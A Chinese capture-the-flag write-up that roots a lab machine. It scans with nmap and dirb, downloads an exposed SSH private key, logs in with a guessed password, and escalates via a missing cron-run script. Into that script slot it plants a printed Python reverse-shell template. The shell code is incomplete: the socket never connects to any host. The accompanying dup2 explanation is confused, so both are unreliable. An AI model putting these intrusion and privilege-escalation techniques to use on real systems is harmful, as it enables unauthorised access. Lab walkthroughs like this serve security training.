CTF练习:SSH服务渗透root主机CTF练习:SSH服务渗透root主机
环境准备
开启两台机器,⼀台靶机⼀台kali攻击机,配置好桥接⽹络,使其在同⼀⽹段内。
查看攻击机kali的IP,为172.19.75.213
查看靶机的IP,为172.19.75.198
netdiscover -r 172.19.75.1/24
ping⼀下,测试连通性,没问题,开始信息收集。
信息收集
探测靶场开放的服务与服务的版本
nmap -sV 172.19.75.198
看到了80端⼝,那我们去访问⼀下IP地址,发现是⼀个公司的⽹页页⾯,在那⾥具有⼀些信息,⼈名之类的,留意⼀下,可能就是⽤户名,突然社⼯,嘿嘿。
继续深度探测
dirb 172.19.75.198/
打开可疑链接,发现很多⽂件,其中是我们需要的秘钥⽂件
shell创建文件并写入内容
下载下来,保存到桌⾯
给id_rsa赋权,进⾏ssh连接,使⽤我们刚刚发现的⼈名尝试,发现martin可以连接,可是要密码,尝试⼀下martin,成功进⼊靶机。
进⼊靶机
进⼊到home⽬录,ls⼀下,我们发现有三个⽤户名,与⽹站上的信息同等。
登陆靶机后,我们需要做以下操作。
1、查看当前⽤户whoami
2、id 查看当前⽤户的权限
3、查看根⽬录,寻flag
很可惜不是root权限,需提权。
通过 /etc/crontab⽂件,设定系统定期执⾏的任务,编辑,需要root权限。不同的⽤户都可以有不同的定时任务
cat /etc/crontab 挖掘其他⽤户是否有定时任务,并查看对应的任务内容。执⾏的任务肯定对应靶场机器的某个⽂件。
如果在/etc/crontab下有某个⽤户的定时计划⽂件,但是具体⽬录下没有这个定时执⾏⽂件,可以⾃⾏创建反弹shell,然后netcat执⾏监听获取对应⽤户的权限。
如果有定时执⾏的⽂件,可以切换到对应的⽬录,查看对应的权限,查看当前⽤户是否具有读写权限。
我们再crontab中发现jimmy在/tmp⽂件中有⼀个sekurity.py⽂件
这时我们查看/tmp⽬录
我们发现没有sekurity.py⽂件,这时我们就可以创建反弹shell了。
我们现在靶机的home⽬录上创建⼀个1.py⽂件,然后在⽂件中写⼊如下程序:
#!/usr/bin/python
import os, subprocess, socket
s=socket.socket()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
程序剖析:
os.dup2(fd, fd2)
os.dup2()⽅法⽤于将⼀个⽂件描述符fd复制到另⼀个fd2
fileno()⽤来取得⽂件描述词
如果程序只有⼀个os.dup2(s.fileno(),0),那么只能在靶机上创建shell,断开连接后会直接回到kali。
如果有os.dup2(s.fileno(),0) os.dup2(s.fileno(),1),也只能在靶机上创建shell,但是断开连接后还会在靶机上。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。